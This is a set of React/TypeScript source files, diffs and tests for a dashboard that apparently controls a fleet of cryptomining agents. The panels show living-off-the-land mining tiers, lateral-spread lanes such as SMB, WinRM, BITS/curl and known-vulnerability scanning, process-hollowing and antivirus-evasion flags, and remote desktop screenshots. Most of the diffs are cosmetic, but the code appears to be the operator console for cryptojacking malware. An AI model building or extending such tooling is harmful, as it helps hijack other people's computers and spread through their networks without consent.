import AccessDepthPanel from './AccessDepthPanel';
import type { Agent } from '../../types';
import {
buildAccessDepthModel,
parseAccessDepthDiagnostics,
parseAccessDepthServerPolicy,
} from '../../help/accessDepth';
vi.mock('../../api/client', () => ({
api: {
getConfig: vi.fn().mockResolvedValue({
server: {
lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'],
triple_onion_policy: {
recon_tiers: ['vuln_recon'],
deploy_lanes: ['docker', 'winrm'],
},
},
}),
},
}));
function mockAgent(overrides: Partial<Agent>): Agent {
return {
id: 'a1',
name: 'Node',
wallet: '',
ip: '10.0.0.5',
version: '1',
status: 'online',
cpu_cores: 8,
memory_gb: 16,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
...overrides,
};
}
function renderPanel(agent: Agent, diagnostics?: ReturnType<typeof parseAccessDepthDiagnostics>) {
return render(
<MemoryRouter>
<AccessDepthPanel agent={agent} diagnostics={diagnostics} />
</MemoryRouter>,
);
}
describe('accessDepth helpers', () => {
it('parses mining diagnostics payload with probes and tier chain', () => {
const diag = parseAccessDepthDiagnostics({
lotl_tier: 'wsl',
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
tier_chain_skipped: ['exe_subprocess'],
environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false },
lotl_attempts: [
{ tier: 'container', ok: false, error: 'no runtime', phase: 'mining' },
{ tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' },
],
});
expect(diag.lotl_tier).toBe('wsl');
expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']);
expect(diag.environment_probes?.docker).toBe(true);
expect(diag.lotl_attempts).toHaveLength(2);
expect(diag.lotl_attempts?.[1].phase).toBe('mining');
});
it('buildAccessDepthModel for Windows agent with diagnostics', () => {
const agent = mockAgent({
platform: 'windows',
os_version: '10.0.26200',
arch: 'amd64',
lotl_tier: 'wsl',
join_lane: 'winrm',
agent_elevated: true,
capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false },
});
const model = buildAccessDepthModel(
agent,
parseAccessDepthDiagnostics({
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
tier_chain_skipped: ['exe_subprocess'],
lotl_attempts: [
{ tier: 'container', ok: false, error: 'blocked', phase: 'mining' },
{ tier: 'wsl', ok: true, phase: 'mining' },
],
environment_probes: { docker: false, wsl: true, pwsh: true },
}),
parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }),
);
expect(model.platformLabel).toBe('Windows');
expect(model.joinLane).toBe('winrm');
expect(model.succeeded).toHaveLength(1);
expect(model.failed).toHaveLength(1);
expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped');
expect(model.spreadOnion).toHaveLength(2);
});
it('buildAccessDepthModel for Linux agent without diagnostics', () => {
const agent = mockAgent({
platform: 'linux',
join_lane: 'linux-lotl',
lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }],
});
const model = buildAccessDepthModel(agent);
expect(model.platformLabel).toBe('Linux');
expect(model.succeeded[0].tier).toBe('cpu_inprocess');
expect(model.miningOnion.length).toBeGreaterThan(0);
});
it('buildAccessDepthModel for macOS agent', () => {
const agent = mockAgent({ platform: 'darwin', os_version: '14.2' });
const model = buildAccessDepthModel(agent);
expect(model.platformLabel).toBe('macOS');
expect(model.osLine).toContain('macOS');
});
});
describe('AccessDepthPanel', () => {
afterEach(() => cleanup());
it('renders sections for Windows fixture', async () => {
renderPanel(
mockAgent({
platform: 'windows',
lotl_tier: 'wsl',
join_lane: 'winrm',
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
}),
parseAccessDepthDiagnostics({
environment_probes: { wsl: true, pwsh: true },
tier_chain_order: ['container', 'wsl'],
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
}),
);
expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument();
expect(screen.getByText('OS & posture')).toBeInTheDocument();
expect(screen.getByText('Active')).toBeInTheDocument();
expect(screen.getByText('Succeeded')).toBeInTheDocument();
expect(screen.getByText('Failed / in progress')).toBeInTheDocument();
expect(screen.getByText('Effective onion order')).toBeInTheDocument();
expect(await screen.findByText('WinRM')).toBeInTheDocument();
});
it('shows pending chain when tiers not yet attempted', () => {
renderPanel(
mockAgent({
platform: 'linux',
status: 'online',
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
}),
parseAccessDepthDiagnostics({
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
}),
);
expect(screen.getByText(/pending:/i)).toBeInTheDocument();
});
});

View File

@@ -0,0 +1,196 @@
import { useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import {
buildAccessDepthModel,
parseAccessDepthServerPolicy,
type AccessDepthDiagnostics,
} from '../../help/accessDepth';
import type { Agent } from '../../types';
import { HelpTip } from '../HelpTip';
import JoinLaneBadge from './JoinLaneBadge';
import LotlTierBadge from './LotlTierBadge';
import './AccessDepthPanel.css';
import './LotlVisuals.css';
import './ReconVisuals.css';
interface Props {
agent: Agent;
diagnostics?: AccessDepthDiagnostics;
}
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
if (rows.length === 0) {
return <div className="access-depth-empty">{empty}</div>;
}
return (
<ol className="access-depth-onion-list">
{rows.map((row) => (
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
<span className="access-depth-onion-idx">{row.index}.</span>
<span className="access-depth-onion-label">{row.label}</span>
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
</li>
))}
</ol>
);
}
function AttemptMiniList({
rows,
empty,
}: {
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
empty: string;
}) {
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
return (
<ul className="access-depth-attempt-list">
{rows.map((row, i) => (
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
<span className="access-depth-attempt-tier">{row.label}</span>
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
</li>
))}
</ul>
);
}
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
const [policyLoaded, setPolicyLoaded] = useState(false);
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
useEffect(() => {
let cancelled = false;
api
.getConfig()
.then((cfg) => {
if (!cancelled) {
setServerPolicy(parseAccessDepthServerPolicy(cfg));
setPolicyLoaded(true);
}
})
.catch(() => {
if (!cancelled) setPolicyLoaded(true);
});
return () => {
cancelled = true;
};
}, []);
const model = useMemo(
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
[agent, diagnostics, serverPolicy],
);
return (
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
<div className="access-depth-header">
<span className="lotl-attempts-title">
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
</span>
{!policyLoaded && <span className="access-depth-muted">loading policy</span>}
</div>
<div className="access-depth-grid">
<div className="access-depth-section">
<div className="access-depth-section-title">OS &amp; posture</div>
<div className="access-depth-os-line">{model.osLine}</div>
{model.probes.length > 0 && (
<div className="access-depth-probes">
{model.probes.map((p) => (
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
{p.label}
</span>
))}
</div>
)}
{model.spreadCaps.length > 0 && (
<div className="access-depth-meta">
spread: {model.spreadCaps.join(', ')}
</div>
)}
{model.privilegeHints.length > 0 && (
<div className="access-depth-meta">
{model.privilegeHints.join(' · ')}
</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Active</div>
{model.activeTier ? (
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
) : (
<div className="access-depth-empty">No active mining tier</div>
)}
{model.joinLane ? (
<div className="access-depth-join">
join lane <JoinLaneBadge lane={model.joinLane} />
</div>
) : (
<div className="access-depth-muted">No join lane yet</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Succeeded</div>
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Failed / in progress</div>
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
{model.inProgressLabel && (
<div className="access-depth-in-progress">
trying <strong>{model.inProgressLabel}</strong>
</div>
)}
{model.pendingLabels.length > 0 && (
<div className="access-depth-pending">
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
</div>
)}
</div>
</div>
<div className="access-depth-section access-depth-onion-block">
<div className="access-depth-section-title">
Effective onion order
<span className="access-depth-source">({model.miningOrderSource})</span>
</div>
<div className="access-depth-onion-columns">
<div>
<div className="access-depth-onion-subtitle">Mining tiers</div>
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
</div>
<div>
<div className="access-depth-onion-subtitle">
Spread contingency{' '}
<Link to="/settings" className="access-depth-calibrate-link">
Calibrate
</Link>
</div>
<OnionList rows={model.spreadOnion} empty="Default spread order" />
</div>
</div>
{model.tripleOnionSummary && (
<div className="access-depth-triple">
Triple onion: {model.tripleOnionSummary}
</div>
)}
<p className="access-depth-hint">
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
Calibrate <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
</p>
</div>
</section>
);
}

View File

@@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
disabled={targets.length === 0}
title="Fleet health: restore hashing workload on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
@@ -326,7 +326,7 @@ export default function CrucibleExpandedOps({
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
disabled={targets.length === 0}
title="Fleet health: power down hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);

View File

@@ -43,7 +43,7 @@
height: 0.55rem;
border-radius: 50%;
flex-shrink: 0;
box-shadow: 0 0 6px var(--group-color, #0ff);
box-shadow: 0 0 6px var(--group-color, #00e8f5);
}
.fleet-group-chip-name {

View File

@@ -218,7 +218,7 @@
margin-bottom: 0.25rem;
}
.er-usd { opacity: 0.7; margin-left: 0.25rem; }
.er-highlight { color: var(--neon-cyan, #00f5ff); font-weight: 700; }
.er-highlight { color: var(--neon-cyan, #00e8f5); font-weight: 700; }
/* ── Fleet Health Card ────────────────────────────────────────────────────── */
.fleet-health-card {
@@ -300,9 +300,9 @@
}
.contrib-fill {
height: 100%;
background: var(--neon-cyan, #00f5ff);
background: var(--neon-cyan, #00e8f5);
border-radius: 4px;
box-shadow: 0 0 6px var(--neon-cyan, #00f5ff);
box-shadow: 0 0 6px var(--neon-cyan, #00e8f5);
transition: width 0.5s ease;
}
.contrib-hash, .contrib-pct { opacity: 0.75; font-size: 0.75rem; text-align: right; }
@@ -379,7 +379,7 @@
border-radius: 3px;
font-size: 0.82rem;
}
.lan-subnet { color: var(--neon-cyan, #00f5ff); font-size: 0.78rem; }
.lan-subnet { color: var(--neon-cyan, #00e8f5); font-size: 0.78rem; }
.lan-meta { display: flex; gap: 1rem; font-size: 0.76rem; opacity: 0.75; }
.lan-online { color: var(--neon-green, #39ff14); }
.lan-hash { font-family: var(--font-mono, monospace); }
@@ -388,7 +388,7 @@
.dash-mode-btn {
background: transparent;
border: 1px solid rgba(0,245,255,0.35);
color: var(--neon-cyan, #00f5ff);
color: var(--neon-cyan, #00e8f5);
font-family: monospace;
font-size: 0.78rem;
padding: 0.25rem 0.6rem;

View File

@@ -66,7 +66,7 @@
}
.agent-list-item.expanded {
border-color: rgba(0, 245, 255, 0.35);
border-color: rgba(0, 232, 245, 0.35);
}
.agent-list-expand {
@@ -86,9 +86,9 @@
padding: 0.1rem 0.45rem;
margin-right: 0.25rem;
border-radius: 4px;
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan, #0ff);
border: 1px solid rgba(0, 245, 255, 0.25);
background: rgba(0, 232, 245, 0.12);
color: var(--neon-cyan, #00e8f5);
border: 1px solid rgba(0, 232, 245, 0.25);
}
.agent-list-notes-preview {

View File

@@ -9,6 +9,7 @@ interface Props {
filters: FleetFilterState;
onChange: (next: FleetFilterState) => void;
selectedCount: number;
selectedAgents?: Agent[];
onBulkAction: (action: string) => void;
onSelectAllFiltered?: () => void;
onCreateGroup?: () => void;
@@ -21,6 +22,7 @@ export default function FleetToolbar({
filters,
onChange,
selectedCount,
selectedAgents = [],
onBulkAction,
onSelectAllFiltered,
onCreateGroup,
@@ -112,17 +114,17 @@ export default function FleetToolbar({
<button
type="button"
className="btn btn-outline btn-sm"
disabled={bulkBusy}
disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')}
onClick={() => onBulkAction('screenshot')}
title="Capture desktop on the selected machine and download JPEG here"
>
Screenshot
</button>
)}
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button
type="button"
className="btn btn-sm"

View File

@@ -1,7 +1,7 @@
.syscheck-panel {
margin-top: 1rem;
padding: 1rem 1.1rem;
border: 1px solid rgba(0, 245, 255, 0.25);
border: 1px solid rgba(0, 232, 245, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.92);
max-height: 72vh;
@@ -20,7 +20,7 @@
.syscheck-header h3 {
margin: 0;
color: var(--accent-cyan, #00f5ff);
color: var(--accent-cyan, #00e8f5);
}
.syscheck-sub {
@@ -78,7 +78,7 @@
font-size: 0.78rem;
}
.syscheck-score {
color: #00f5ff;
color: #00e8f5;
font-weight: 600;
}
.syscheck-subhead {

View File

@@ -24,7 +24,7 @@ function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
const LEVEL_COLORS: Record<number, string> = {
4: '#39ff14', // neon green
3: '#00f5ff', // cyan
3: '#00e8f5', // cyan
2: '#ffb020', // amber
1: '#ff4466', // red
0: '#444', // grey

View File

@@ -42,6 +42,17 @@ describe('Recon badges', () => {
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
});
it('JoinLaneBadge renders new spread tier labels', () => {
render(<JoinLaneBadge lane="dns_txt" />);
expect(screen.getByText('DNS TXT')).toBeInTheDocument();
cleanup();
render(<JoinLaneBadge lane="webrtc_mesh" />);
expect(screen.getByText('WebRTC mesh')).toBeInTheDocument();
cleanup();
render(<JoinLaneBadge lane="wsus_cache_peer" />);
expect(screen.getByText('WSUS cache')).toBeInTheDocument();
});
it('JoinLaneBadge renders docker lane label', () => {
render(<JoinLaneBadge lane="docker" />);
expect(screen.getByText('Docker')).toBeInTheDocument();

View File

@@ -13,7 +13,7 @@
backdrop-filter: blur(10px);
box-shadow:
0 4px 18px rgba(0, 0, 0, 0.55),
0 0 1px rgba(0, 245, 255, 0.15);
0 0 1px rgba(0, 232, 245, 0.15);
pointer-events: auto;
opacity: var(--deck-ambient-ui-opacity, 0.72);
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
@@ -22,10 +22,10 @@
.global-music-player:hover,
.global-music-player:focus-within {
opacity: 1;
border-color: rgba(0, 245, 255, 0.35);
border-color: rgba(0, 232, 245, 0.35);
box-shadow:
0 6px 22px rgba(0, 0, 0, 0.6),
0 0 14px rgba(0, 245, 255, 0.12);
0 0 14px rgba(0, 232, 245, 0.12);
}
.global-music-player__play {
@@ -35,10 +35,10 @@
width: 1.75rem;
height: 1.75rem;
padding: 0;
border: 1px solid rgba(0, 245, 255, 0.3);
border: 1px solid rgba(0, 232, 245, 0.3);
border-radius: 2px;
background: rgba(12, 18, 28, 0.9);
color: var(--neon-cyan, #00f5ff);
color: var(--neon-cyan, #00e8f5);
cursor: pointer;
flex-shrink: 0;
}
@@ -49,8 +49,8 @@
}
.global-music-player__play:hover {
border-color: var(--neon-cyan, #00f5ff);
box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
border-color: var(--neon-cyan, #00e8f5);
box-shadow: 0 0 10px rgba(0, 232, 245, 0.2);
}
.global-music-player__vol {
@@ -83,8 +83,8 @@
height: 10px;
margin-top: -3.5px;
border-radius: 50%;
background: var(--neon-cyan, #00f5ff);
box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
background: var(--neon-cyan, #00e8f5);
box-shadow: 0 0 6px rgba(0, 232, 245, 0.4);
}
.sr-only {

View File

@@ -336,7 +336,7 @@ export default function Layout({ children }: LayoutProps) {
)}
<div className="sidebar-sig font-tech">
<span className="sig-love">made with <span className="sig-heart"></span> drjones</span>
<span className="sig-ver">{serverInfo?.version ?? 'v0.0.1'}</span>
<span className="sig-ver">{serverInfo?.version ?? 'v1.0.0'}</span>
</div>
</div>
</nav>

View File

@@ -27,7 +27,7 @@
.pool-preset-provider {
font-size: 0.75rem;
letter-spacing: 0.06em;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
margin-bottom: 0.15rem;
}
@@ -54,7 +54,7 @@
.pool-preset-order {
font-size: 0.82rem;
padding: 0.5rem 0.65rem;
border-left: 3px solid var(--neon-cyan, #0ff);
border-left: 3px solid var(--neon-cyan, #00e8f5);
background: rgba(0, 40, 50, 0.25);
}

View File

@@ -33,7 +33,7 @@ const TOPOLOGY_NODE_CAP = 200;
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
const isOnline = agent.status === 'online';
const isHashing = agent.hashrate_15m > 0;
const color = isOnline ? (isHashing ? '#00f5ff' : '#00aa55') : '#ff4444';
const color = isOnline ? (isHashing ? '#00e8f5' : '#00aa55') : '#ff4444';
const pulseRef = useRef<THREE.Mesh>(null);
const ringRef = useRef<THREE.Mesh>(null);
@@ -76,7 +76,7 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
{/* Laser Pulse simulating hashing packets */}
{isOnline && isHashing && !isStale && (
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00ffff" />
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00e8f5" />
)}
</group>
);
@@ -106,7 +106,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
}, [displayAgents]);
return (
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 232, 245, 0.1)' }}>
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
@@ -115,7 +115,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
<color attach="background" args={['#050508']} />
<ambientLight intensity={0.5} />
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00f5ff" />
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00e8f5" />
<Stars radius={100} depth={50} count={3000} factor={3} saturation={0.5} fade speed={1} />
{/* Server Node (Mothership) */}

View File

@@ -43,7 +43,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
if (Math.random() > 0.99 && shares.length > 0) {
const share = shares[Math.floor(Math.random() * shares.length)];
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
ctx.fillStyle = share.accepted ? '#00e8f5' : '#ff4444';
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
ctx.fillStyle = '#0F0';
} else {

View File

@@ -29,7 +29,7 @@
.pipeline-step.pipeline-active {
border-color: var(--neon-cyan);
box-shadow: 0 0 20px rgba(0, 245, 255, 0.15);
box-shadow: 0 0 20px rgba(0, 232, 245, 0.15);
}
.pipeline-icon {
@@ -255,7 +255,7 @@
.roadmap-low .roadmap-priority {
color: var(--neon-cyan);
border: 1px solid rgba(0, 245, 255, 0.35);
border: 1px solid rgba(0, 232, 245, 0.35);
}
.guide-step-card {
@@ -431,16 +431,16 @@
font-family: var(--font-tech, monospace);
letter-spacing: 0.06em;
padding: 0.15rem 0.45rem;
background: rgba(0, 245, 255, 0.09);
border: 1px solid rgba(0, 245, 255, 0.3);
background: rgba(0, 232, 245, 0.09);
border: 1px solid rgba(0, 232, 245, 0.3);
border-radius: 3px;
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
cursor: pointer;
transition: background 0.15s;
}
.guide-code-copy:hover {
background: rgba(0, 245, 255, 0.2);
background: rgba(0, 232, 245, 0.2);
}
/* Network topology ASCII diagram */
@@ -487,7 +487,7 @@
/* Inline code links */
.guide-link {
color: var(--neon-cyan, #0ff);
color: var(--neon-cyan, #00e8f5);
text-decoration: underline;
text-underline-offset: 2px;
}

View File

@@ -378,7 +378,7 @@ describe('HashrateChart', () => {
data={sample}
displayMode="live"
title="Fleet Hash"
color="#00f5ff"
color="#00e8f5"
unit="H/s"
/>
);
@@ -571,6 +571,7 @@ describe('FleetToolbar', () => {
filters={filters}
onChange={vi.fn()}
selectedCount={2}
selectedAgents={agents}
onBulkAction={onBulk}
bulkBusy={false}
/>

View File

@@ -0,0 +1,64 @@
/**
* @vitest-environment node
*/
import { describe, expect, it } from 'vitest';
import {
buildAccessDepthModel,
parseAccessDepthDiagnostics,
parseAccessDepthServerPolicy,
} from './accessDepth';
import type { Agent } from '../types';
function agent(partial: Partial<Agent>): Agent {
return {
id: 'x',
name: 'n',
wallet: '',
ip: '1.1.1.1',
version: '1',
status: 'online',
cpu_cores: 4,
memory_gb: 8,
last_seen: '',
created_at: '',
hashrate_15s: 0,
hashrate_1m: 0,
hashrate_15m: 0,
shares_total: 0,
shares_good: 0,
shares_bad: 0,
cpu_usage_pct: 0,
memory_usage_pct: 0,
uptime_seconds: 0,
...partial,
};
}
describe('parseAccessDepthServerPolicy', () => {
it('reads lotl_onion_tiers and triple onion from config', () => {
const p = parseAccessDepthServerPolicy({
server: {
lotl_onion_tiers: ['docker', 'smb'],
triple_onion_policy: { recon_tiers: ['a'], deploy_lanes: ['b'] },
},
});
expect(p.lotl_onion_tiers).toEqual(['docker', 'smb']);
expect(p.triple_onion?.recon_tiers).toEqual(['a']);
});
});
describe('buildAccessDepthModel pending chain', () => {
it('marks skipped tiers and pending remainder', () => {
const model = buildAccessDepthModel(
agent({ platform: 'windows' }),
parseAccessDepthDiagnostics({
tier_chain_order: ['a', 'b', 'c'],
tier_chain_skipped: ['a'],
lotl_attempts: [{ tier: 'b', ok: false, error: 'nope' }],
}),
);
expect(model.pendingTiers).toEqual(['c']);
expect(model.miningOnion.find((r) => r.tier === 'a')?.status).toBe('skipped');
expect(model.failed).toHaveLength(1);
});
});

View File

@@ -0,0 +1,361 @@
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
/** Mirrors agent/miner/environment_probe.go */
export interface EnvironmentProbes {
docker?: boolean;
wsl?: boolean;
pwsh?: boolean;
dotnet?: boolean;
gpu?: boolean;
av_blocks_exe?: boolean;
webview2?: boolean;
}
export interface AccessDepthDiagnostics {
environment_probes?: EnvironmentProbes;
tier_chain_order?: string[];
tier_chain_skipped?: string[];
lotl_tier?: string;
lotl_attempts?: TierAttempt[];
active_method?: string;
execution_mode?: string;
}
export interface AccessDepthServerPolicy {
lotl_onion_tiers?: string[];
mining_tier_order?: string[];
mining_skip_tiers?: string[];
triple_onion?: {
recon_tiers?: string[];
deploy_lanes?: string[];
};
}
export interface ProbeChip {
key: string;
label: string;
ok: boolean;
}
export interface AccessDepthAttemptRow {
tier: string;
label: string;
ok: boolean;
error?: string;
phase?: string;
}
export interface OnionTierRow {
index: number;
tier: string;
label: string;
status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral';
}
export interface AccessDepthModel {
platformLabel: string;
osLine: string;
probes: ProbeChip[];
spreadCaps: string[];
privilegeHints: string[];
activeTier?: string;
activeTierLabel?: string;
joinLane?: string;
succeeded: AccessDepthAttemptRow[];
failed: AccessDepthAttemptRow[];
inProgressTier?: string;
inProgressLabel?: string;
pendingTiers: string[];
pendingLabels: string[];
miningOnion: OnionTierRow[];
spreadOnion: OnionTierRow[];
tripleOnionSummary?: string;
miningOrderSource: 'agent' | 'server' | 'default';
}
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
export const DEFAULT_MINING_TIER_ORDER = [
'exe_subprocess',
'docker_load',
'container',
'wsl',
'ps_inmemory',
'cpu_inprocess',
'gpu_subprocess',
'stratum_direct',
] as const;
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
const DEFAULT_TRIPLE_DEPLOY = [
'discover_and_join',
'docker',
'wsl',
'powershell',
'dotnet',
'bits_curl',
'smb',
'winrm',
];
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
if (!raw || typeof raw !== 'object') return undefined;
const row = raw as Record<string, unknown>;
const probes: EnvironmentProbes = {};
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
if (typeof row[key] === 'boolean') probes[key] = row[key];
}
return Object.keys(probes).length > 0 ? probes : undefined;
}
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
const tier_chain_order = Array.isArray(raw.tier_chain_order)
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const lotl_tier =
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
undefined;
return {
environment_probes: parseEnvironmentProbes(raw.environment_probes),
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
lotl_tier,
lotl_attempts: attempts.length ? attempts : undefined,
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
};
}
function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (p.includes('win')) return 'Windows';
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
if (p.includes('linux')) return 'Linux';
return platform?.trim() || 'Unknown';
}
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
const p = probes ?? {};
const chips: ProbeChip[] = [
{ key: 'docker', label: 'Docker', ok: p.docker === true },
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
];
if (p.av_blocks_exe === true) {
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
}
return chips.filter((c) => c.ok || probes != null);
}
function spreadCapabilities(agent: Agent): string[] {
const caps = agent.capabilities;
